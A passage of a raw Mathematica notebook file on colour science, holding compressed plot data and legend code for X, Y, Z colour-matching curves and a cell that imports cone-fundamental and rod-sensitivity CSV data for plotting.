rqLKD5/5PqLMct5bgbINJwdcz7X8fZMSXy/kbeua8z/vGyImlprWF9J6LVDi
Xg22r+QX+X0PJR51+DXEvgUxlGix0bfIZRGt9/5KjP0e3oiXRH5fqETN2Gen
7n2n/SFSCb+EGa8Wjya/zyjRcenPqKw95O+NSqzs/fGIqw3tLyYlggd6v7sZ
aTkvp8SV8a1xqdhyPk6JWq1OrZ6qJ79uVuJEn5lrCvrT/pWrhH/d0KYQkF8v
USJlS81HlXVpv+MxOHtge7us9nQ+zpZB8VH/b8NCyJ/zGWTVeNas9xXy544M
aoWuu3CiD/lzAQNzcfCc96fIj7sxsI3YKMkfRX7cg8F0h6Rfcsv7SW8G30K+
Cosn0PtNMPhzivR7y0+0f/sy4He708+YYvl7GQZD262Proyj97OBDMpLx4gv
JpHfFjJYckiwYe5r8tuhDHZlXrpywpP6hUgGM/ivY5/vJ38tYjAwfVD9B72o
v2AYdOt54I7bafLXBgYnE2ya/Bpo6UcYzKtM6sx8Iz8dy+BltwZto3OpfzEx
kHl+fRFdZjnfxiC6ae36rj3ITycxsEuVx29dZznfxmD+w5BNu+tZzrcxmLSw
Mnn5SPLP6VXXe86YPq4pdD7AzOCgjW8QbxKdH8hkkCZ5eXq6K/nlXAZzZjfM
mNOF/HIhg8ev3zf8Oc3y9zwM6kuLroUfJ39czsC3/qpGPkLyxzwVbhRnbj4d
R38vY6vCnr3Xbg9tIyb9VVD2E/SRPiY/7KiCn03G70UX6DyFQIWSky3rbnpK
/tdNhd/NfiU+akX+10MF+eeQX+aG5H+9VWiw54NfDXf6eyGoUPvz+mXnosnv
+qpQurSRV5E7+V1/FWKYTexJGzqPFqjCkQ+zRKv45G+FKhhPHnt4xI/8bagK
w3xGOIybO4v0r6qv5YwzXWXkZ0UqmB8WHR+RRefNGBUWHm5z7uaqqaS/CjUq
rnon+k0m/VVolvH8Tt5E8q+xKoxbf/yjOYr8q0mF1f3PzNuQSefJ4lVITWng
lFtoOR+jwshtvjVFg8mvpqpQfjcr+UYG+dM0FdyE3f+4v5/8aboKl2dOGy1I
IH9qVqHjsw3hD7PJj2aqMFShGb14APnRXBV6+O9hX6jJjxaqsCjdw3ZGBp0P
K1Ehz86dOT+f/Ge5qmo9s59Yoxf5Tx4LZnc31Zme5D9tWcy/P+PiZ6HFb7KY
O/Dakj/OWfwmi7jWSUc+iej8l4BFx+N3/PhXyF+6sbgU+UXZ04/8pQeLJcfH
tR7XmPylNwtpneCfn2uTvwSLoGG61l7dyE/6srizbUvBLiX5SX8WKt92JaNK
yT8Gslj3fte1Ie5tSH8WxWMT36kPkH8MZfH44qjOzWc4kv4sbt1g5VE+dH5L
xMLZs2Oj70HkFxkWvl4HJhfvofNaBhYJwp7585uQXzSyKNVdCFo5mPxhLIse
bxb7DdjdkPRnsbyrqIfboPqkP4shLzcX3+PT+awkFlNuJSf4OJAfTGXxqu2A
+q18yA+msei30tB/xA7yf+ksTma/iG/fkvyfuaqeAtXm80t+V/upTBa7L/Wv
8c9b8nu5LIZmxb5eEkt+r5DFA/sd54dJye+VsAjZd2xX2Vrye+Usfnlu4y2+
Qf6Op0aTopaDvnf6XM226qr1OydwUAL5O74a4l+PRnUfS/7OUY3E515X67b6
RH5TjTRl95Tl9z+Q31QjZsQL24Yp78hvqnGmbPrOg1ffkt9Uo+u9mu1kvwrI
b6rB+78/fDnsz+FADgs5HMrhSA6LOMxw2MBhI4djOWzicDyHkzicyuE0Dqdz
2MzhTA7ncriQwyUcLucwT/NvtuUwn8OOHBZw2I3DHhz25jA47Mthfw4HcljI
4VAOR3JYxGGGwwYOGzkcy2ETh+M5nMThVA6ncTidw2YOZ3I4l8OFHC7hcDmH
edp/sy2H+Rx25LCAw24c9uCwN4fBYV8O+3M4kMNCDodyOJLDIg4zHDZw2Mjh
WA6bOBzP4SQOp3I4jcPpHDZzOJPDuRwu5HAJh8s5zNP9m205zOewI4cFHHbj
sAeHvTkMDvty2J/DgRwWcjiUw5EcFnGY4bCBw0YOx3LYxOF4DidxOJXDaRxO
57CZw5kczuVwIYdLOFzOYZ7+32zLYT6HHTks4LAbhz047M1hcNiXw/4cDuSw
kMOhHI7ksIjDDIcNHDZyOJbDJg7HcziJw6kcTuNwOofNHM7kcC6HCzlcwuFy
DvMM/2ZbDvM57MhhAYfdOOzBYW8Og8O+HPbncCCHhVwW/S/8v339//t563wm
63wm63wm63ym6vqt85ms85ms85ms85ms85mq9bPOZ7LOZ7LOZ7LOZ7LOZ6rW
3zqfyTqfyTqfyTqfyTqfqVp/63wm63wm63wm63wm63ymav2t85ms85ms85ms
85ms85mq67fOZ7LOZ7LOZ7LOZ7LOZ6rW3zqfyTqfyTqfyTqfyTqfqVp/63wm
63wm63wm63wm63ymav2t85ms85ms85ms85ms85mqr6d1PpN1PpN1PpN1PpN1
PlN1/db5TNb5TNb5TNb5TNb5TNX6W+czWeczWeczWecz0Yd1PtO/2Tqf6d9s
nc/0b7bOZ/o3W+cz/Zut85n+zdb5TP9m63ymf/P/x/OZ/g+HCPI3
"], {{{}, {
EdgeForm[],
Directive[
RGBColor[1, 0, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1WV0FgQUBuBvjG42mhEjxujuZjTbYBux0YyujWYDRsNAQcEAxaDTAAWD
sAVbUFDSAINUQkEJ49nhx3Pec//fe9/w5NT4lGyBQCCIZUEP8unsgcBaMg1L
WMwiFrKA+cxjLnPIYDazmEk6acxgOtOYyhQmM4mJpJLCBMYzjrGMYTSjGMkI
hjOMZIYyhMEMYiAD6E8/kkikL33oTS8SiCeOnvQglhii6U43utKFznSiIx2I
oj3taEsbWtOKlrSgOc1oShMa04iGNKA+9ahLHWpTi5rUoDrViKQqEVShMpWo
SDgVKE85yhJGGUpTipKUoDjFKEooIRShMIUoSAHyk4+85CE3uchJDrITTDaC
gh4szH/iX/7hPve4yx3+5i9uc4s/+YOb3OA61/id37jKFS5ziYtc4Fd+4Wd+
4jzn+JEf+J7vOMsZTnOKk5zgW77hOMf4mq84yhG+5As+5zM+5RM+5iMOc4gP
+YD3eY93eYe3eYuDHGA/+3iTN3id19jLHl7lFXazi5d5iRd5gZ3sYDvb2MoW
NrOJjWxgPet4nud4lmdYm3W/PMUaVvMkT/A4j7GKlTzKI6xgOQ/zUNYfYCmZ
LGExi1jIAuYzj7nMIYPZzGIm6aQxg+lMYypTmMwkJpJKChMYzzjGMobRjGIk
IxjOMJIZyhAGM4iBDKA//Ugikb70oTe9SCCeOHrSg1hiiKY73ehKFzrTiY50
IIr2tKMtbWhNK1rSguY0oylNaEwjGtKA+tSjLnWoTS1qUoPqVCOSqkRQhcpU
oiLhVKA85ShLGGUoTSlKUoLiFKMooYRQhMIUoiAFyE8+8pKH3OQiJzlQB4Fg
srrifxxNp18=
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 1, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1WecyAUcBvD/DeOMKzISKqGhQijR0KDMlAYls5KiJJoqs7L3DXtz1nFn
c2e7M84ed/be29mzr08vvs/L36vn8/yKNW9T7/vQIAhC6CG6ExMeBLFEhgVB
bnKRkxxEkJ1sZCUL4YQRSggB9xy9yx1uc4ub3OA617jKFS6TySUucoHznOMs
ZzjNKU5yguMc4yhHOMwhDnKA/exjL3vYzS52kkE6O9jONrayhc1sYiMbWE8a
61jLGlaTSgqrWMkKlrOMpSxhMckksYiFLGA+85jLHGYzi0QSmMkM4pnONKYy
hcnEMYmJTGA84xjLGEYzipGMYDjDGMoQYokhmigGM4iBDKA//ehLH3rTi570
oDv/8g9/042udKEznejIX/zJH3Tgd37jV37hZ36iPe34kbb8QBvuF/M7WtOK
b/mGlnxNC77iS76gOc1oShMa04jPachnfEoD6vMJH/MRH1KPD3ifurxHHWpT
i5rUoDrv8g7VqMrbvMWbvEEVXuc1XuUVKlOJl6nIS7xIBcpTjhcoSxlK8zzP
8SyleIaneYonKUkJivMExXicx3iUohShMI9QiIcpSAHyk4+HyEseHuQBIslN
LnKSgwiyk42sZCGcMEIJIeCeHbnLHW5zi5vc4DrXuMoVLpPJJS5ygfOc4yxn
OM0pTnKC4xzjKEc4zCEOcoD97GMve9jNLnaSQTo72M42trKFzWxiIxtYTxrr
WMsaVpNKCqtYyQqWs4ylLGExySSxiIUsYD7zmMscZjOLRBKYyQzimc40pjKF
ycQxiYlMYDzjGMsYRjOKkYxgOMMYyhBi72880UQxmEEMZAD96Udf+tCbXvQM
+f9H/Afep+Gp
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 0, 1],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwV0FN7kAEAgNEv3NdyLS3btmu5bdnL2rJtrNpatm3btu2W/Q86XZznvX/D
omMjYpIHQZCMJFKlCILFKYPgr/7hN7/4yQ++842vfOEzn/hIEh94zzve8obX
vOIlL3jOM57yhMc84iEPuM897nKH29ziJje4zjWucoXLXOIiFzjPOc5yhtOc
4iQnOM4xjnKEwxziIAfYzz72sofd7GInO9jONrayhc1sYiMbWM861rKG1axi
JStYzjKWsuT/bxaxkEQWkEA885nHXOKYw2xmMZMZTGcaU5nCZCYxkQmMZxxj
GcNoRjGSEQxnGEMZwmAGMZBYYhhAf/rRlz70phc96UF3uhFNV7rQmU50pAPt
aUdb2tCaVrQkikgiaEFzmtGUJjSmEQ0JpwH1qUdd6lCbWtSkBtWpRlWqUJlK
VKQC5SlHWcpQmlKUpATFKUZRilCYQhSkAPnJR17ykJtchJGTHGQnG1kJJQuZ
yURGMpCedKQlDSGk5h9nyHdd
"]]}]}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}}, {{}, {}, {
Hue[0.67, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]],
LineBox[CompressedData["
1:eJwl1WV7EAQUBeCNztE9YjC6u7tHj24YnSM3ursUDFBCwaAbJZXGoBulUVJB
6VR49/DhPfcXnHNDIiLD+wcGBARMFTE3FrGJQ1ziEZ8EJCQRiUlCUoJIRnJS
kJJUpCYNaUlHejKQkUwEk5ksZCUbIWQnB6HkJBe5yUNe8pGfAhSkEIUpQlGK
UZwSlKQUpSlDWcpRngpUpBKVqUJVqlGdGtSkFrWpQ13CqEd9GtCQRjSmCeE0
pRnNaUFLWtGaNrSlHe3pQEc60ZkIutCVbnSnBz3pRW/60Jd+9CeSAQxkEIMZ
wlCiiGYYwxnBSEYxmjGMZRzjmcBEJjGZKUxlGtOZwUxmMZs5fMCHzGUeH/Ex
n/Ap81nAZ3zOQhaxmCV8wZcsZRlf8TXf8C3LWcFKVrGaNaxlHevZwEY2sZkt
fMf3bGUb29nBTnbxAz+ymz3sZR/7OcBBDvETP/MLv3KYIxzlGMc5wUlOcZoz
nOUc57nAb/zORS5xmStc5RrXucEf/MlNbnGbO9zlHn/xN/d5wD/8y0Me8Zgn
POUZz3nBS17xmjf8x/+8Jab8gcQiNnGISzzik4CEJCIxSUhKEMlITgpSkorU
pCEt6UhPBjKSiWAyk4WsZCOE7OQglJzkIjd5yEs+8lOAghSiMEUoSjGKU4KS
lKI0ZShLOcpTgYpUojJVqEo1qlODmtSiNnWoSxj1qE8DGtKIxjQhnKY0ozkt
aEkrWtOGtrSjPR3oSCc6E0EXutKN7vSgJ73oTR/60o+Y8Y5kAAMZxGCGMJQo
ohnGcEYwklGMZgxjGcd4JjCRSUxmSuD73/AOmGemIA==
"]]}, {
Hue[0.9060679774997897, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]],
LineBox[CompressedData["
1:eJwV02V7FgQAheGXDRjd0t2IGCitiNLdggKiIKF0KiIgGORGd3d3ju4aPbpj
dI/OcfPhfv7AuU62Ju1qtY0VCAT6Sj/6M4CBDCKUMAYzhKEMYzgjGMkoRjOG
sYxjPBOYyCQmM4WpTGM6M5jJLGYzh7nMYz4LWMgiFrOEpSxjOStYySpWs4Zw
1rKO9WxgI5vYzBa2so3t7GAnu9jNHvYSwT72c4CDHOIwR4jkKMc4zglOcorT
nOEs5zjPBS5yictcIYqrXOM6N7jJLW5zh7vc4z4PeEg0j3jME57yjOe84CWv
eM0b3hLzfuSgQCAWQQQTmzjEJYR4xCcBCUlEYpKQlGQkJwUpScUHpCYNaUlH
ejKQkUxkJgtZyUZ2cpCTXOQmD3nJx4fk5yMK8DGf8CmfUZDP+YJCFKYIRSlG
cUrwJV9Rkq8pxTd8S2nKUJZylKcCFalEZapQlWpUpwY1qUVt6lCX76hHfb7n
BxrQkEb8SGN+4mea0JRfaEZzWtCSX/mNVrSmDW1pR3s60JFOdKYLXfmdP+jG
n3TnL3rQk178TW/68A//8h//05d+9GcAAxlEKGEMZghDGcZwRjCSUYxmDGMZ
x3gmMJFJTGYKU5nGdGYwk1nMZg5zmcd8FrCQRSxmCUtZxnJWsJJVrGYN4axl
HevZwEY2sZktbGUb29nBTnaxmz3sJYJ97OcABznEYY4QyVGOcZwTnOQUpznD
Wc5xngtc5BKXuUIUV7nGdW5wk1vc5g53ucd9HvCQaB7xmCc85RnPecFLXvGa
N7wlhkCw/xNEMLGJQ1xCiEd8EpCQRCQmCe8ARgzgbg==
"]]}, {
Hue[0.1421359549995791, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]],
LineBox[CompressedData["
1:eJwNxGOAFgYAANAv12rZvmzbNi+7Lusu23d12TVkbbXl2nLLDVlbxpax3Jbf
j/eCQsKCQ6MEAoFIJYgWCCQkEYlJQlKSkZwUpCQVqUlDWtKRngxkJIhMZCYL
WclGdnKQk1zkJg95yUd+ClCQQhSmCEUpRnFKUJJSlKYMZSlHeSpQkUpUpgpV
qUZ1alCTWtSmDnWpR30a0JBgGtGYJjSlGc1pQUta0Zo2tKUd7elACB3pRGe6
0JVudKcHPelFb0IJow996Ud/BjCQQQxmCEMZxnBGMJJRjGYMYxlHOBGMZwKR
TGQSk5nCVKYxnRnMZBazmcNc5jGfr/iab/iWBSxkEYtZwlKWsZwVrGQV3/E9
q1nDD/zIWtaxng1sZBOb2cJWfuJntrGdHexkF7vZw15+YR/7OcBBDnGYIxzl
V37jd/7gGMc5wUlOcZoznOUc57nAn/zFRS5xmStc5RrXucFNbvE3/3CbO9zl
Hvd5wEMe8Zgn/MtTnvGcF7zkFa95w3/8z1ve8Z4PfOQTgeiBQBSiEo3oxCAm
sYhNHL4gLvH4kvgkICGJSEwSkpKM5KQgJalITRrSko70ZCAjQWQiM1nISjay
k4Oc5CI3echLPvJTgIIUojBFKEoxilOCkpSiNGUoSznKU4GKVKIyVahKNapT
g5rUojZ1qEs96tOAhgTTiMY0oSnNaE4LWtKK1rShLe1oTwdC6EgnOtOFrnSj
Oz3oSS96E0oYfehLP/ozgIEMYjBDGMowhjOCkYxiNGMYyzjCiWA8E4hkIpOY
zBSmMo3pzGAms5jNHOYyj8/WaLIl
"]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {}, {}, {}, {}, {}, {}, {}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {}, {}, {}, {}, {}, {}, {}}}], {{}, {}}}, {
DisplayFunction -> Identity, DisplayFunction -> Identity, AspectRatio ->
NCache[GoldenRatio^(-1), 0.6180339887498948], Axes -> {True, True},
AxesLabel -> {None, None}, AxesOrigin -> {381.875, 0}, DisplayFunction :>
Identity, Frame -> {{False, False}, {False, False}},
FrameLabel -> {{None, None}, {None, None}},
FrameTicks -> {{Automatic, Automatic}, {Automatic, Automatic}},
GridLines -> {None, None}, GridLinesStyle -> Directive[
GrayLevel[0.5, 0.4]],
Method -> {
"OptimizePlotMarkers" -> True,
"CoordinatesToolOptions" -> {"DisplayFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& ), "CopiedValueFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& )}}, PlotRange -> {{381.875, 780.}, {0, 1.934819}},
PlotRangeClipping -> True, PlotRangePadding -> {{
Scaled[0.02],
Scaled[0.02]}, {
Scaled[0.02],
Scaled[0.05]}}, Ticks -> {Automatic, Automatic}}],FormBox[
FormBox[
TemplateBox[{"\"X\"", "\"Y\"", "\"Z\""}, "LineLegend",
DisplayFunction -> (FormBox[
StyleBox[
StyleBox[
PaneBox[
TagBox[
GridBox[{{
TagBox[
GridBox[{{
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #2}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #3}},
GridBoxAlignment -> {
"Columns" -> {Center, Left}, "Rows" -> {{Baseline}}},
AutoDelete -> False,
GridBoxDividers -> {
"Columns" -> {{False}}, "Rows" -> {{False}}},
GridBoxItemSize -> {"Columns" -> {{All}}, "Rows" -> {{All}}},
GridBoxSpacings -> {
"Columns" -> {{0.5}}, "Rows" -> {{0.8}}}], "Grid"]}},
GridBoxAlignment -> {"Columns" -> {{Left}}, "Rows" -> {{Top}}},
AutoDelete -> False,
GridBoxItemSize -> {
"Columns" -> {{Automatic}}, "Rows" -> {{Automatic}}},
GridBoxSpacings -> {"Columns" -> {{1}}, "Rows" -> {{0}}}],
"Grid"], Alignment -> Left, AppearanceElements -> None,
ImageMargins -> {{5, 5}, {5, 5}}, ImageSizeAction ->
"ResizeToFit"], LineIndent -> 0, StripOnInput -> False], {
FontFamily -> "Arial"}, Background -> Automatic, StripOnInput ->
False], TraditionalForm]& ),
InterpretationFunction :> (RowBox[{"LineLegend", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[1, 0, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0.6666666666666666, 0., 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"1", ",", "0", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[1, 0, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[1, 0, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 1, 0],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0.6666666666666666, 0.],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "1", ",", "0"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 1, 0];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 1, 0], Editable -> False, Selectable ->
False]}], "]"}], ",",
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
RowBox[{"AbsoluteThickness", "[", "1.6`", "]"}], ",",
InterpretationBox[
ButtonBox[
TooltipBox[
GraphicsBox[{{
GrayLevel[0],
RectangleBox[{0, 0}]}, {
GrayLevel[0],
RectangleBox[{1, -1}]}, {
RGBColor[0, 0, 1],
RectangleBox[{0, -1}, {2, 1}]}}, DefaultBaseStyle ->
"ColorSwatchGraphics", AspectRatio -> 1, Frame -> True,
FrameStyle -> RGBColor[0., 0., 0.6666666666666666],
FrameTicks -> None, PlotRangePadding -> None, ImageSize ->
Dynamic[{
Automatic, 1.35 CurrentValue["FontCapHeight"]/
AbsoluteCurrentValue[Magnification]}]],
StyleBox[
RowBox[{"RGBColor", "[",
RowBox[{"0", ",", "0", ",", "1"}], "]"}], NumberMarks ->
False]], Appearance -> None, BaseStyle -> {},
BaselinePosition -> Baseline, DefaultBaseStyle -> {},
ButtonFunction :> With[{Typeset`box$ = EvaluationBox[]},
If[
Not[
AbsoluteCurrentValue["Deployed"]],
SelectionMove[Typeset`box$, All, Expression];
FrontEnd`Private`$ColorSelectorInitialAlpha = 1;
FrontEnd`Private`$ColorSelectorInitialColor =
RGBColor[0, 0, 1];
FrontEnd`Private`$ColorSelectorUseMakeBoxes = True;
MathLink`CallFrontEnd[
FrontEnd`AttachCell[Typeset`box$,
FrontEndResource["RGBColorValueSelector"], {
0, {Left, Bottom}}, {Left, Top},
"ClosingActions" -> {
"SelectionDeparture", "ParentChanged",
"EvaluatorQuit"}]]]], BaseStyle -> Inherited, Evaluator ->
Automatic, Method -> "Preemptive"],
RGBColor[0, 0, 1], Editable -> False, Selectable ->
False]}], "]"}]}], "}"}], ",",
RowBox[{"{",
RowBox[{#, ",", #2, ",", #3}], "}"}], ",",
RowBox[{"LegendMarkers", "\[Rule]",
RowBox[{"{",
RowBox[{
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}], ",",
RowBox[{"{",
RowBox[{"False", ",", "Automatic"}], "}"}]}], "}"}]}], ",",
RowBox[{"Joined", "\[Rule]",
RowBox[{"{",
RowBox[{"True", ",", "True", ",", "True"}], "}"}]}], ",",
RowBox[{"LabelStyle", "\[Rule]",
RowBox[{"{", "}"}]}], ",",
RowBox[{"LegendLayout", "\[Rule]", "\"Column\""}]}], "]"}]& ),
Editable -> True], TraditionalForm], TraditionalForm]},
"Legended",
DisplayFunction->(GridBox[{{
TagBox[
ItemBox[
PaneBox[
TagBox[#, "SkipImageSizeLevel"], Alignment -> {Center, Baseline},
BaselinePosition -> Baseline], DefaultBaseStyle -> "Labeled"],
"SkipImageSizeLevel"],
ItemBox[#2, DefaultBaseStyle -> "LabeledLabel"]}},
GridBoxAlignment -> {"Columns" -> {{Center}}, "Rows" -> {{Center}}},
AutoDelete -> False, GridBoxItemSize -> Automatic,
BaselinePosition -> {1, 1}]& ),
Editable->True,
InterpretationFunction->(RowBox[{"Legended", "[",
RowBox[{#, ",",
RowBox[{"Placed", "[",
RowBox[{#2, ",", "After"}], "]"}]}], "]"}]& )]], "Output",
CellChangeTimes->{
3.839443132673908*^9, {3.839443748610054*^9, 3.839443772048558*^9},
3.839443874404031*^9, 3.8394446078252897`*^9, 3.839446610482253*^9, {
3.839446671699855*^9, 3.839446691001384*^9}, 3.839447126221534*^9,
3.839447271011643*^9, 3.8394474644141827`*^9, 3.839451228827359*^9,
3.839451624833221*^9, 3.839452094921879*^9, 3.839452295524588*^9,
3.8394534800577106`*^9, {3.83949797528411*^9, 3.83949798849233*^9}},
CellLabel->"Out[23]=",ExpressionUUID->"14896312-56d5-4de1-b31c-320b384d6e62"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[TextData[{
StyleBox["2-deg fundamentals based on the Stiles & Burch 10-deg CMFs \
(adjusted to 2-deg)", "Section"],
"\[LineSeparator]",
StyleBox["Rods (R) response from CIE \
\[OpenCurlyDoubleQuote]physiologically-relevant\[CloseCurlyDoubleQuote] \
luminous efficiency functions consistent with the Stockman & Sharpe cone \
fundamentals.", "Text"]
}], "Subtitle",
CellChangeTimes->{{3.6472069892556753`*^9, 3.647206992644547*^9}, {
3.64720706386841*^9, 3.64720723066249*^9}, {3.647207262730607*^9,
3.647207325235694*^9}, {3.661121273814883*^9, 3.6611212811271257`*^9}, {
3.6611836316553793`*^9, 3.661183634470564*^9}, {3.6815771809416018`*^9,
3.681577182173439*^9}, {3.839450617122533*^9, 3.839450672885618*^9}, {
3.839450717287334*^9,
3.8394507741829967`*^9}},ExpressionUUID->"7406aa00-ad51-4be8-9076-\
280c11689b0c"],
Cell[CellGroupData[{
Cell[BoxData[{
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "l", ",", "m", ",", "s"}], "}"}], "=",
RowBox[{
RowBox[{"Import", "[", "\"\<data/linss2_10e_1.csv\>\"", "]"}],
"\[Transpose]"}]}], ";"}], "\[IndentingNewLine]",
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "r"}], "}"}], "=",
RowBox[{
RowBox[{"Import", "[", "\"\<data/scvle_1.csv\>\"", "]"}],
"\[Transpose]"}]}], ";"}], "\[IndentingNewLine]",
RowBox[{"ListLinePlot", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "l"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "m"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "s"}], "}"}], "\[Transpose]"}], ",",
RowBox[{
RowBox[{"{",
RowBox[{"\[Lambda]", ",", "r"}], "}"}], "\[Transpose]"}]}], "}"}], ",",
RowBox[{"PlotLegends", "\[Rule]",
RowBox[{"{",
RowBox[{
